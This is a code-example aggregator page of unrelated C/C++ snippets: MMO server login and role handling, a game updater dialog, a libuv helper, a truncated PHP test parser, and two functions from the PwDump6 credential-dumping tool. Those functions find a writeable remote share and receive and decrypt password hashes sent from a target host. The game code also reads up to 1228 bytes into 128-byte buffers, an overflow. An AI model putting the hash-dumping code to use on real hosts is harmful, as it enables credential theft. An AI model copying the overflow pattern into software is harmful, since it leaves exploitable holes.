								pAcc = GetGame()->GetEntityManager()->FindAccount(szCdkey);
								if(pAcc)
								{
									if(pAcc->GetPlayerState() != PLAYER_STATE_VOID)
										pAcc->SetPlayerState(PLAYER_STATE_BACKTOLOGIN);
									pAcc->SetCurGamedPlayerGuid(NULL_GUID);
									pAcc->SetLoginTimeoutValue(timeGetTime());
								}
							}
							GetGame()->GetEntityManager()->CreateSavePlayerDataSession(PlayerGuid, SAVE_DETAIL_ALL);
							GetGame()->GetEntityManager()->CreateSaveLoginPlayerDataSession(PlayerGuid);	
						}
					}

					//! SM监视的玩家的处理
					if(pPlayer->GetExID() == CSMClient::GetSM()->GetWatchedGuid())
					{
						CMessage Replymsg(MSG_GAPP2SM_WATCH_INFO_Reply);
						Replymsg.Add(GetGame()->GetSetup()->dwGappID);
						Replymsg.Add((BYTE)0);
						Replymsg.SendToSM();

						CMessage msg(MSG_W2S_OTHER_WATCH);
						msg.Add((DWORD)0);
						msg.Add(pPlayer->GetName());
						msg.SendToSocket(CSMClient::GetSM()->GetWatchedGsSocket());

						CSMClient::GetSM()->ClearWatch();
					}

					GetGame()->OnPlayerQuit(pPlayer, pMsg->GetGSID(), dwServerKey);
				}
				break;
			default:
				{
					char szGuid[128];
					PlayerGuid.tostring(szGuid);
					_snprintf(pszLogingInfo,512,"玩家[%s]退出时异常,退出标志[%d],请检查代码逻辑!",szGuid, lFlag);
					PutStringToFile("Login_WS_Info",pszLogingInfo);

					CPlayer* pPlayer = GetGame()->GetMapPlayer(PlayerGuid);
					if(pPlayer)
					{
						time_t curTime;
						time(&curTime);
						pPlayer->SetLastExitGameTime((DWORD)curTime);
						Account* pAcc = GetGame()->GetEntityManager()->FindAccount(pPlayer->GetAccount());
						if(pAcc)
						{
							if(pAcc->GetPlayerState() != PLAYER_STATE_VOID)
								pAcc->SetPlayerState(PLAYER_STATE_BACKTOLOGIN);
							pAcc->SetCurGamedPlayerGuid(NULL_GUID);
							pAcc->SetLoginTimeoutValue(timeGetTime());
						}
						GetGame()->OnPlayerQuit(pPlayer, pMsg->GetGSID(), dwServerKey);
					}
				}
				break;
			}
		}
		break;

	case MSG_L2W_LOG_FCM_TIME:
		{
			char szCdkey[128];
			pMsg->GetStr(szCdkey, 1228);
			long lTime = pMsg->GetLong();
			if(szCdkey)
			{
				Account* pAcc = GetGame()->GetEntityManager()->FindAccount(szCdkey);
				if(pAcc)
				{
					CPlayer* pPlayer = GetGame()->GetMapPlayer(pAcc->GetCurGamedPlayerGuid());
					if(pPlayer)
					{
						CMessage msg(MSG_W2S_LOG_FCM_TIME);
						msg.Add(pPlayer->GetExID());
						msg.Add(lTime);
						msg.SendToSocket(pPlayer->GetGsSocket());
					}
				}
			}
		}
		break;
	case MSG_L2W_LOG_FCM_BEGIN:
		{
			char szCdkey[128];
			pMsg->GetStr(szCdkey, 1228);
			if(szCdkey)
			{
				Account* pAcc = GetGame()->GetEntityManager()->FindAccount(szCdkey);
				if(pAcc)
				{
					CPlayer* pPlayer = GetGame()->GetMapPlayer(pAcc->GetCurGamedPlayerGuid());
					if(pPlayer)
					{
						CMessage msg(MSG_W2S_OTHER_KICKPLAYER);
						msg.Add((BYTE)FCM_KICK_PLAYER);
						msg.Add(pPlayer->GetExID());
						msg.SendToSocket(pPlayer->GetGsSocket());
					}
				}
			}
		}
		break;

	case MSG_L2W_LOG_KICKPLAYER://根据CDKEY踢出一个玩家
		{
			char strCDKey[256];
			pMsg->GetStr(strCDKey,256);
			Account* pAcc = GetGame()->GetEntityManager()->FindAccount(strCDKey);
			if(pAcc 
				&& pAcc->GetPlayerState() != PLAYER_STATE_ENTERED_GAME)
			{
				pAcc->SetPlayerState(PLAYER_STATE_BACKTOLOGIN);
				pAcc->SetLoginTimeoutValue(timeGetTime());
			}
		}
		break;

	case MSG_L2W_LOG_REPEAT_LOGIN:
		{
			char strCDKey[256];
			pMsg -> GetStr( strCDKey, 256 );

			// 看该帐号是否有角色在游戏中
			Account* tLoginInfo = GetGame()->GetEntityManager()->FindAccount(strCDKey);
			if(tLoginInfo)
			{
				if(tLoginInfo->GetEntityGroupMap().size())
				{
					CGUID CurGamedPlayerGuid = tLoginInfo->GetCurGamedPlayerGuid();
					if( CurGamedPlayerGuid != NULL_GUID)
					{
						CPlayer* pPlayer = GetGame()->GetMapPlayer(CurGamedPlayerGuid);
						if(pPlayer)
						{
							long gsid = GetGame()->GetGlobalRgnManager()->FindGSIDByRgnID(pPlayer->GetRegionExID());
							
							if(gsid != -1)
							{
							CMessage msg( MSG_W2S_LOG_REPEAT_LOGIN );
							msg.Add( CurGamedPlayerGuid );
							msg.SendGSID(gsid);
							}
							else
							{
								tLoginInfo->SetPlayerState(PLAYER_STATE_BACKTOLOGIN);
								CMessage msg(MSG_W2L_LOG_PLAYERQUIT);
								msg.Add(strCDKey);
								msg.Add(0L);
								msg.SendToSocket(GetGame()->GetLSSocketID());//send to loginserver
							}
							
							_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_REPEATLOGINTOGS), strCDKey);
							PutStringToFile("Login_WS_Info",pszLogingInfo);
							return;
						}
					}
				}
			}

			CMessage msg(MSG_W2L_LOG_PLAYERQUIT);
			msg.Add(strCDKey);
			msg.Add(0L);
			msg.SendToSocket(GetGame()->GetLSSocketID());//send to loginserver
		}
		break;

	case MSG_L2W_LOG_DELETEROLE://loginserver请求删除一个角色
		{
			CGUID guid;
			DWORD dwIP;
			char szIP[64];
			char cdkey[ACCOUNT_SIZE];
			pMsg->GetStr(cdkey,ACCOUNT_SIZE);	//cdkey
			pMsg->GetGUID(guid);	//playerid
			dwIP = pMsg->GetDWord();
		
			char szGUID[128];
			guid.tostring(szGUID);
			CEntityGroup* lPlayer = NULL;
			Account* tLoginInfo = GetGame()->GetEntityManager()->FindAccount(cdkey);
			if(!tLoginInfo)
			{
				_snprintf(pszLogingInfo,512,"DeleteRole::未先创建账号对象[%s]!", cdkey);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				CMessage msg(MSG_W2L_LOG_DELETEROLE);
				msg.Add((char)LOGIN_DELETEROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Send();//send to loginserver
				return;
			}
			lPlayer = tLoginInfo->FindLoginPlayer(guid);
			if(NULL == lPlayer)
			{
				CMessage msg(MSG_W2L_LOG_DELETEROLE);
				msg.Add((char)LOGIN_DELETEROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Send();//send to loginserver
				_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_DELCHARNOCHAROBJ), cdkey, szGUID);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				return;
			}
			if( tLoginInfo->GetPlayerState() != PLAYER_STATE_LOADED_BASE_DATA )
			{
				CMessage msg(MSG_W2L_LOG_DELETEROLE);
				msg.Add((char)LOGIN_DELETEROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Send();//send to loginserver
		
				_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_DELCHARINVALID), 
					tLoginInfo->GetPlayerState(), cdkey, szGUID);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				return;
			}

			// 判断人物角色等级是否满足删除条件
			if ((DWORD)lPlayer->GetLongAttr(string("Levels"))<CGlobeSetup::GetSetup()->dwDelLevelCondition)
			{
				CMessage msg(MSG_W2L_LOG_DELETEROLE);
				msg.Add((char)LOGIN_DELETEROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Add((long)4);
				msg.Send();//send to loginserver
				return;
			}
			
			sprintf(szIP, "%d.%d.%d.%d", LOBYTE(LOWORD(dwIP)), HIBYTE(LOWORD(dwIP)), LOBYTE(HIWORD(dwIP)), HIBYTE(HIWORD(dwIP)));

			time_t tDelDate;		// 删除日期
			time(&tDelDate);		// 当前日期的DWORD

			//! 联系人系统
			LinkmanSystem::GetInstance().OnPlayerDelStateChange(guid, TRUE);

			//删除玩家所在的帮会组织
			int nResult = GetOrganiCtrl()->OnDeleteRole(guid);
			//拥有主城 
			if( nResult == 1 )
			{
				CMessage msg(MSG_W2L_LOG_DELETEROLE);
				msg.Add((char)LOGIN_DELETEROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Add((long)1);
				msg.Send();//send to loginserver

				return;
			}
			//退出同盟
			else if( nResult == 2 )
			{
				CMessage msg(MSG_W2L_LOG_DELETEROLE);
				msg.Add((char)LOGIN_DELETEROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Add((long)2);
				msg.Send();//send to loginserver
				return;
			}
			//解散同盟
			else if(nResult == 3)
			{
				CMessage msg(MSG_W2L_LOG_DELETEROLE);
				msg.Add((char)LOGIN_DELETEROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Add((long)3);
				msg.Send();//send to loginserver
				return;
			}

			// 以下数据加入MSG发送给DBS
			GetGame()->GetEntityManager()->CreateUpdateLoginPlayerDelTimeSession(cdkey, guid);

			char szGuid[40] = {0};
			guid.tostring(szGuid);			
			_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_DELCHAROK), szGuid);
			PutStringToFile("Login_WS_Info",pszLogingInfo);
			return;
		}
		break;

	case MSG_L2W_LOG_RESTOREROLE:
		{
			CGUID guid;
			char cdkey[ACCOUNT_SIZE];
			pMsg->GetStr(cdkey,ACCOUNT_SIZE);	//cdkey
			pMsg->GetGUID(guid);	//playerid

			char szGUID[128];
			guid.tostring(szGUID);
			CEntityGroup* lPlayer = NULL;//GetGame()->GetEntityManager()->FindLoginPlayer(guid);
			Account* tLoginInfo = GetGame()->GetEntityManager()->FindAccount(cdkey);
			if(!tLoginInfo)
			{
				_snprintf(pszLogingInfo,512,"RestoreRole::未先创建账号对象[%s]!", cdkey);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				CMessage msg(MSG_W2L_LOG_RESTOREROLE);
				msg.Add((char)LOGIN_RESTOREROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Send();//send to loginserver
				return;
			}
			lPlayer = tLoginInfo->FindLoginPlayer(guid);
			if(NULL == lPlayer)
			{
				CMessage msg(MSG_W2L_LOG_RESTOREROLE);
				msg.Add((char)LOGIN_RESTOREROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Send();//send to loginserver
				_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_RESTORCHARNOCHAROBJ), cdkey, szGUID);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				return;
			}
			if(tLoginInfo->GetPlayerState() != PLAYER_STATE_LOADED_BASE_DATA)
			{
				CMessage msg(MSG_W2L_LOG_RESTOREROLE);
				msg.Add((char)LOGIN_RESTOREROLE_FAILED);
				msg.Add(guid);
				msg.Add(cdkey);
				msg.Send();//send to loginserver
				_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_RESTORECHARVALID), 
					tLoginInfo->GetPlayerState(), cdkey, szGUID);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				return;
			}

			//! 联系人系统
			LinkmanSystem::GetInstance().OnPlayerDelStateChange(guid, TRUE);

			// 以下数据加入MSG发送给DBS
			GetGame()->GetEntityManager()->CreateRestoreLoginPlayerDelTimeSession(cdkey, guid);
		}
		break;

	case MSG_L2W_LOG_CREATEROLE://loginserver请求创建一个角色
		{
			char szName[50],szCdkey[ACCOUNT_SIZE];
			pMsg->GetStr(szName,50);
			char nOccupation = pMsg->GetChar();
			char nSex = pMsg->GetChar();
			BYTE nHead = pMsg->GetByte();
			BYTE nFace = pMsg->GetByte();
			BYTE btCountry = pMsg->GetByte();
			BYTE byConstellation = pMsg->GetByte();
			//是否选择了推荐的国家
			BYTE bySelectRecommCountry = pMsg->GetByte();
			bool bSelectRecommCountry = (bySelectRecommCountry==0?false:true);
			BYTE btMaxCharactersNum = CGlobeSetup::GetSetup()->btMaxCharactersNum;
			pMsg->GetStr(szCdkey,ACCOUNT_SIZE);

			if(szName[0] == '\0') // 名字为空
			{
				CMessage msg(MSG_W2L_LOG_CREATEROLE);
				msg.Add((BYTE)LOGIN_CREATEROLE_NAMEINVALID);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());
				return;
			}

			// 结合创建列表和数据库,检测角色是否被建满。
			// 检测职业和性别是否符合条件
			CGlobeSetup::GetSetup()->btMaxCharactersNum;
			bool bValid = false;
			//判断职业是否合法
			if(nOccupation < 0 || nOccupation >= OCC_Max)
				return;
			//判断性别是否合法
			if( nSex < 0 || nSex >= CPlayerList::SEX_NUMS)
				return;
			//判断星座
			if(byConstellation < CONST_Aries || byConstellation > CONST_Pisces)
				return;

			// 检测国家
			bValid = false;
			if( !GetCountryHandler()->GetCountry(btCountry) )
			{
				CMessage msg(MSG_W2L_LOG_CREATEROLE);
				msg.Add((BYTE)LOGIN_CREATEROLE_DBERROR);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());

				_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_CREATECHARNOCOUNTRY),btCountry);
				PutStringToFile("Login_WS_Info",pszLogingInfo);
				return;
			}

			// 检测名字是否存在
			string strName(szName);
			if (!CWordsFilter::GetInstance()->Check(strName))
			{
				CMessage msg(MSG_W2L_LOG_CREATEROLE);
				msg.Add((BYTE)LOGIN_CREATEROLE_NAMEINVALID);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());
				return;
			}

			// 角色名也被使用(先list和MapPlayer 最后DBS)
			if(	GetGame()->IsNameExistInMapPlayer(szName) )
			{
				CMessage msg(MSG_W2L_LOG_CREATEROLE);
				msg.Add((BYTE)LOGIN_CREATEROLE_NAMEEXIST);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());
				return;
			}

			// 再检查一次是否已有该玩家的创建请求(通过LoginPlayer查找)
			Account* tLoginInfo = GetGame()->GetEntityManager()->FindAccount(szCdkey);
			if(!tLoginInfo)
			{
				_snprintf(pszLogingInfo,512,"MSG_W2L_LOG_CREATEROLE! LoginInfo[%s] Is Null!", szCdkey);
				PutStringToFile("Login_WS_Info",pszLogingInfo);

				CMessage msg(MSG_W2L_LOG_CREATEROLE);
				msg.Add((BYTE)LOGIN_CREATEROLE_FAILED);
				msg.Add(szCdkey);
				msg.SendToSocket(GetGame()->GetLSSocketID());
				return;
			}

			if(tLoginInfo->GetPlayerState() == PLAYER_STATE_CREATING) return;
			
			// 再到DB对象中查找一次
			Account* pAcc = NULL;
			CEntityManager::AccountMapItr accItr = GetGame()->GetEntityManager()->GetAccountMap().begin();
			for(; accItr != GetGame()->GetEntityManager()->GetAccountMap().end(); accItr++)
			{
				pAcc = accItr->second;
				if(pAcc->GetEntityGroupMap().size() == 1)
				{
					CEntityGroup* pLoginPlayerGroup = (CEntityGroup*)pAcc->GetEntityGroupMap().begin()->second;
					map<CGUID, CBaseEntity*>::iterator setItr;
					for(setItr=pLoginPlayerGroup->GetEntityGroupMap().begin(); setItr!=pLoginPlayerGroup->GetEntityGroupMap().end(); setItr++)
					{
						const char* szEPName = setItr->second->GetStringAttr(string("Name"));
						if(szEPName)
						{
							if(strcmp(szName, szEPName) == 0)
							{
								// 找到该玩家的LoginPlayer对象 丢弃该创建消息
								CMessage msg(MSG_W2L_LOG_CREATEROLE);
								msg.Add((BYTE)LOGIN_CREATEROLE_NAMEEXIST);
								msg.Add(szCdkey);
								msg.SendToSocket(GetGame()->GetLSSocketID());
								return;
							}
						}
					}
				}
			}

			
			// 创建一个创建玩家会话
			GetGame()->GetEntityManager()->CreatePlayerCreateSession(szCdkey, szName, nOccupation, nSex, nHead, nFace,
				btCountry, btMaxCharactersNum,byConstellation,bSelectRecommCountry);		
			_snprintf(pszLogingInfo,512,CStringReading::LoadString(IDS_WS_LOGMESSAGE, STR_WS_LOGMESSAGE_SENDCREATETODBS), szName);
			PutStringToFile("Login_WS_Info",pszLogingInfo);
		}
		break;
	}
}
コード例 #23
0
ファイル: UpdateExeHead.cpp プロジェクト: jjiezheng/pap_full
INT_PTR CALLBACK MainDlgProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch(uMsg)
	{
	case WM_COMMAND:
		{
			switch(LOWORD(wParam))
			{
			case IDCANCEL:
				if(g_bSuccess) RunLaunch();
				PostQuitMessage(0);
				break;
				
			case IDOK:
				HMENU hMenu = ::GetSystemMenu(hwndDlg, FALSE);
				::EnableMenuItem(hMenu, SC_CLOSE, MF_BYCOMMAND|MF_DISABLED|MF_GRAYED);
				::EnableWindow(::GetDlgItem(hwndDlg, IDOK), FALSE);
				::EnableWindow(::GetDlgItem(hwndDlg, IDCANCEL), FALSE);
				if(g_hBeginHandle) SetEvent(g_hBeginHandle);
				break;
			}
		}
		break;

	case WM_MSG_ENTERFAULT:
		_enterFaultMode();
		break;

	case WM_MSG_SETPROGRESS:
		{
			UINT nPosOld = (UINT)::SendDlgItemMessage(hwndDlg, IDC_PROGRESS_MAIN, PBM_GETPOS, 
				0, 0);
			UINT nPosNow = (UINT)wParam;
			if(nPosNow != nPosOld)
			{
				::SendDlgItemMessage(hwndDlg, IDC_PROGRESS_MAIN, PBM_SETPOS, nPosNow, 0);
			}
		}
		break;

	case WM_MSG_SUCCESS:
		{
			HMENU hMenu = ::GetSystemMenu(hwndDlg, FALSE);
			::EnableMenuItem(hMenu, SC_CLOSE, MF_BYCOMMAND|MF_ENABLED);
			::EnableWindow(::GetDlgItem(hwndDlg, IDOK), FALSE);
			::EnableWindow(::GetDlgItem(hwndDlg, IDCANCEL), TRUE);
			::SetDlgItemText(hwndDlg, IDCANCEL, "确定");
			::CloseHandle(g_hBeginHandle); g_hBeginHandle=0;
			::SendDlgItemMessage(hwndDlg, IDC_PROGRESS_MAIN, PBM_SETPOS, 100, 0);

			char szTemp[MAX_PATH] = {0};
			_snprintf(szTemp, MAX_PATH, "《天龙八部》成功更新到%s!", g_szVersionTo);
			MessageBox(g_hMainWnd, szTemp, "《天龙八部》", MB_OK|MB_ICONINFORMATION);

			g_bSuccess = TRUE;
		}
		break;

	case WM_INITDIALOG:
		{
			g_hMainWnd = hwndDlg;

			//Center main window
			CenterDlg(hwndDlg);

			//设置图标
			HICON hMainIcon = LoadIcon(g_hInst, (LPCTSTR)IDD_DIALOG_MAIN);
			::SendMessage(hwndDlg, WM_SETICON, ICON_BIG, (LPARAM)hMainIcon);
			::SendMessage(hwndDlg, WM_SETICON, ICON_SMALL, (LPARAM)hMainIcon);

			//set status
			::SetDlgItemText(hwndDlg, IDC_STATIC_STATUS, "读取版本信息...");
			::SendDlgItemMessage(hwndDlg, IDC_PROGRESS_MAIN, PBM_SETRANGE, 
				0, MAKELPARAM(0, 100));

			g_hBeginHandle = ::CreateEvent(0, TRUE, FALSE, 0);
			::ResetEvent(g_hBeginHandle);

			//create work thread
			UINT nThreadID;
			g_hWorkThread = (HANDLE)::_beginthreadex(NULL, 0, _WorkThread, 0, CREATE_SUSPENDED|THREAD_QUERY_INFORMATION, &nThreadID );
			if(g_hWorkThread == NULL)
			{
				::SetDlgItemText(hwndDlg, IDC_STATIC_STATUS, "创建线程失败");
				_enterFaultMode();
				break;
			}

			//go!
			::ResumeThread(g_hWorkThread);
			//not care
			::CloseHandle(g_hWorkThread); g_hWorkThread=0;
		}
		break;

	case WM_CTLCOLORSTATIC:
		{
			HWND hStatic = (HWND)lParam;

			if(g_bFaultMode && hStatic == GetDlgItem(hwndDlg, IDC_STATIC_STATUS))
			{
				HBRUSH hBrush = (HBRUSH)(INT_PTR)::DefWindowProc(hwndDlg, WM_CTLCOLORSTATIC, wParam, lParam);

				SetTextColor((HDC)wParam, RGB(255, 0, 0));
				return (BOOL)(INT)(INT_PTR)hBrush;
			}
			else return FALSE;
		}
		break;

	case WM_CLOSE:
		PostQuitMessage(0);
		break;

	default:
		break;
	}
	return FALSE;
}
コード例 #24
0
ファイル: PwDump6.cpp プロジェクト: B-Rich/smart
bool GetAvailableWriteableShare(char* szServer, int nPhysicalBufferSize, char** lplpPhysicalPath, int nUNCPathSize, char** lplpUNCPath)
{
	// Returns the drive letter if successful, otherwise 0
	PSHARE_INFO_2 BufPtr, p;
	NET_API_STATUS res;
	DWORD er = 0, tr = 0, resume = 0, i;
	wchar_t server[MAX_PATH];
	char szTemp[MAX_PATH], szTemp2[MAX_PATH];
	bool bFound = false;
	char szServerWithSlashes[MAX_PATH];

	::ZeroMemory(server, MAX_PATH);
	::ZeroMemory(szServerWithSlashes, MAX_PATH);
	::ZeroMemory(*lplpPhysicalPath, nPhysicalBufferSize);
	::ZeroMemory(*lplpUNCPath, nUNCPathSize);
	//_snprintf(szServerWithSlashes, MAX_PATH, "\\\\%s", szServer);
	_snprintf(szServerWithSlashes, MAX_PATH, "%s", szServer);
	mbstowcs(server, szServerWithSlashes, strlen(szServerWithSlashes));

	do
	{
		// Fuck Microsoft and it's lame-ass unicode crap
		res = NetShareEnum(server, 2, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
		if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
		{
			p = BufPtr;
			for(i = 1; i <= er; i++)
			{
				::ZeroMemory(szTemp, MAX_PATH);
				wcstombs(szTemp, (LPWSTR)(p->shi2_netname), MAX_PATH);

				// Look for shares that are not SYSVOL or NETLOGON, and that have a physical path
				if (stricmp(szTemp, "SYSVOL") != 0 && stricmp(szTemp, "NETLOGON") != 0 && wcslen((LPWSTR)(p->shi2_path)) > 0)
				{
					// If this is a potentially workable share, try uploading something
					memset(szTemp2, 0, MAX_PATH);
					_snprintf(szTemp2, MAX_PATH, "%s\\%s", szServerWithSlashes, szTemp);
					if (CanUpload(szTemp2))
					{
						// Success!
						// Copy the physical path to the out variable
						wcstombs(szTemp, (LPWSTR)(p->shi2_path), MAX_PATH);
						strncpy(*lplpPhysicalPath, szTemp, nPhysicalBufferSize);

						// Also copy the UNC path to the out variable
						strncpy(*lplpUNCPath, szTemp2, nUNCPathSize);
						bFound = true;
						break;
					}

					// Otherwise continue and try another share
				}
				
				p++;
			}

			NetApiBufferFree(BufPtr);
		}
		else 
			fprintf(stderr, "GetAvailableWriteableShare returned an error of %ld\n",res);
	}
	while (res == ERROR_MORE_DATA); // end do

	return bFound;
}
コード例 #25
0
ファイル: pipe.c プロジェクト: 337240552/node
static void uv_unique_pipe_name(char* ptr, char* name, size_t size) {
  _snprintf(name, size, "\\\\.\\pipe\\uv\\%p-%d", ptr, GetCurrentProcessId());
}
コード例 #26
0
ファイル: PwDump6.cpp プロジェクト: B-Rich/smart
void NamedPipeThread(void* pParam)
{
 	HANDLE hFile=INVALID_HANDLE_VALUE;
	char chBuf[BUFSIZE]; 
	BOOL fSuccess; 
	DWORD cbRead, dwMode;
	char szPipeName[MAX_PATH];
	char szOutputBuffer[2 * MAX_PATH];
	DWORD dwDataChunk1, dwDataChunk2;
	char* lpszServer = (char*)pParam; // pParam is the name of the server to connect to
    int i;

	::ZeroMemory(szPipeName, MAX_PATH);
	::ZeroMemory(szOutputBuffer, 2 * MAX_PATH);

	int nError = 2;
	if (stricmp(lpszServer, "\\\\localhost") == 0 || stricmp(lpszServer, "\\\\127.0.0.1") == 0)
	{
		_snprintf(szPipeName, MAX_PATH, PIPE_FORMAT, "\\\\.", szGUID);
		while (nError == 2)
		{
			BOOL bPipe = WaitNamedPipe(szPipeName, 30000);
			if (!bPipe)
			{
				// Error 2 means the pipe is not yet available, keep trying
				nError = GetLastError();
				Sleep(100);
			}
			else
				nError = 0;
		}
		hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);	

		while(GetLastError() == ERROR_PIPE_BUSY)
		{ 
			Sleep(100);
			hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);	
		}

		if(hFile == INVALID_HANDLE_VALUE)
		{ 
			printf("CreateFile failed to create a new client-side pipe: error %d\n", GetLastError());
			return;
		} 
	}
	else
	{
		_snprintf(szPipeName, MAX_PATH, PIPE_FORMAT, lpszServer, szGUID);
		while (nError == 2)
		{
			BOOL bPipe = WaitNamedPipe(szPipeName, 30000);
			if (!bPipe)
			{
				// Error 2 means the pipe is not yet available, keep trying
				nError = GetLastError();
				Sleep(100);
			}
			else
				nError = 0;
		}
		hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);	

		if(hFile == INVALID_HANDLE_VALUE)
		{ 
			printf("CreateFile failed to create a new client-side pipe: error %d\n", GetLastError());
			return;
		}
	}

	do 
	{ 
		dwMode = PIPE_READMODE_MESSAGE; 
		fSuccess = SetNamedPipeHandleState(hFile, &dwMode, NULL, NULL); 
		if (!fSuccess) 
		{
			printf("SetNamedPipeHandleState failed, error %d\n", GetLastError()); 
			return;
		}

		::ZeroMemory(chBuf, BUFSIZE);
		fSuccess = ReadFile(hFile, chBuf, BUFSIZE, &cbRead, NULL); 
		if (!fSuccess) 
		{ 
			printf("ReadFile failed with %d.\n", GetLastError()); 
			break;
		} 
		else
		{
			// Received a valid message - decode it
			if (cbRead >= 3)
			{
				if (chBuf[0] == 0)
				{
					// Terminate the thread
					// Need to connect once more here so that the target knows the message has been received and unblocks
					CloseHandle(hFile);
					hFile=INVALID_HANDLE_VALUE;
					/*hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
					if(hFile == INVALID_HANDLE_VALUE)
					{ 
						printf("CreateFile failed to create a new client-side pipe: error %d\n", GetLastError());
						return;
					}*/
					break;
				}
				else if (chBuf[0] == 2)
				{
					// This is hash data from the target
					// Hash data will be 64 encrypted bytes followed by the user's name
					// Store in an appropriate structure
					USERINFO* pTemp;

					BYTE cUserBlocks = chBuf[2];

					if (lpUserInfoArray == NULL)
					{
						lpUserInfoArray = (USERINFO*)GlobalAlloc(GMEM_FIXED, sizeof(USERINFO));
						nUserInfoArraySize = 1;
						pTemp = lpUserInfoArray;
					}
					else
					{
						lpUserInfoArray = (USERINFO*)GlobalReAlloc((HGLOBAL)lpUserInfoArray, (nUserInfoArraySize + 1) * sizeof(USERINFO), GMEM_MOVEABLE);
						int n = sizeof(USERINFO);
						pTemp = lpUserInfoArray + nUserInfoArraySize; // (nUserInfoArraySize * sizeof(USERINFO));
						++nUserInfoArraySize;
					}
					
					// Copy data to the structure
					for (i = 0; i < 64; i++)
					{
						pTemp->cHash[i] = chBuf[i + 3];
					}

					// Decrypt user and hash data
					/*char temp[400];
					memset(temp, 0, 400);
					memcpy(temp, &(chBuf[3]), 30);
					printf("Message size: %d, raw data: %s\n",cUserBlocks, temp);*/

					// User data
					for (i = 0; i <= cUserBlocks; i++)
					{
						ConvertToBlowfishLongs(chBuf + (i * 8) + 67, &dwDataChunk1, &dwDataChunk2); 
						Blowfish_Decrypt(&ctx, &dwDataChunk1, &dwDataChunk2);

						// Unicode pointer math - only increment by 1/2
						memcpy(&(pTemp->wszUser[(i * 4)]), &dwDataChunk1, 4);
						memcpy(&(pTemp->wszUser[(i * 4) + 2]), &dwDataChunk2, 4);
					}

					// Hash data
					for (i = 0; i < 4; i++)
					{
						ConvertToBlowfishLongs(chBuf + (i * 8) + 3, &dwDataChunk1, &dwDataChunk2); 
						Blowfish_Decrypt(&ctx, &dwDataChunk1, &dwDataChunk2);
						
						memcpy(pTemp->cHash + (i * 8), &dwDataChunk1, 4);
						memcpy(pTemp->cHash + (i * 8) + 4, &dwDataChunk2, 4);
					}
				}
				else if (chBuf[0] == 3)
				{
					// Status message - just print it out
					printf("%ls\n", chBuf + 67/*267*/); 						
				}
				else
				{
					// Unknown message
					printf("Invalid message received from target host: %d\n", chBuf[0]);
				}
			}
			else
				printf("Invalid data received (length was %d)\n", cbRead);

			// Purge data from the pipe
			CloseHandle(hFile);
			hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
			while(GetLastError() == ERROR_PIPE_BUSY)
			{ 
				Sleep(100);
				if (!WaitNamedPipe(szPipeName, 20000))
				{
					printf("Timed out waiting to get our pipe back\n");
					return;
				}

				hFile = CreateFile(szPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);	
			}

			if(hFile == INVALID_HANDLE_VALUE)
			{ 
				printf("CreateFile failed to create a new client-side pipe: error %d\n", GetLastError());
				return;
			} 
		}
	} while (1);

	if (hFile != INVALID_HANDLE_VALUE)
		CloseHandle(hFile);


	return;
}
コード例 #27
0
ファイル: stresstest.cpp プロジェクト: kennyb/php-broken
/**
 * ParseTestFile
 * parse a single phpt file and add it to the arrays
 */
BOOL ParseTestFile(const char *path, const char *fn)
{
	// parse the test file
	char filename[MAX_PATH];
	_snprintf(filename, sizeof(filename)-1, "%s\\%s", path, fn);
	char line[1024];
	memset(line, 0, sizeof(line));
	CString cTest, cSkipIf, cPost, cGet, cFile, cExpect;
	printf("Reading %s\r\n", filename);

	enum state {none, test, skipif, post, get, file, expect} parsestate = none;

	FILE *fp = fopen(filename, "rb");
	char *tn = _tempnam(temppath,"pht.");
	char *en = _tempnam(temppath,"exp.");
	FILE *ft = fopen(tn, "wb+");
	FILE *fe = fopen(en, "wb+");
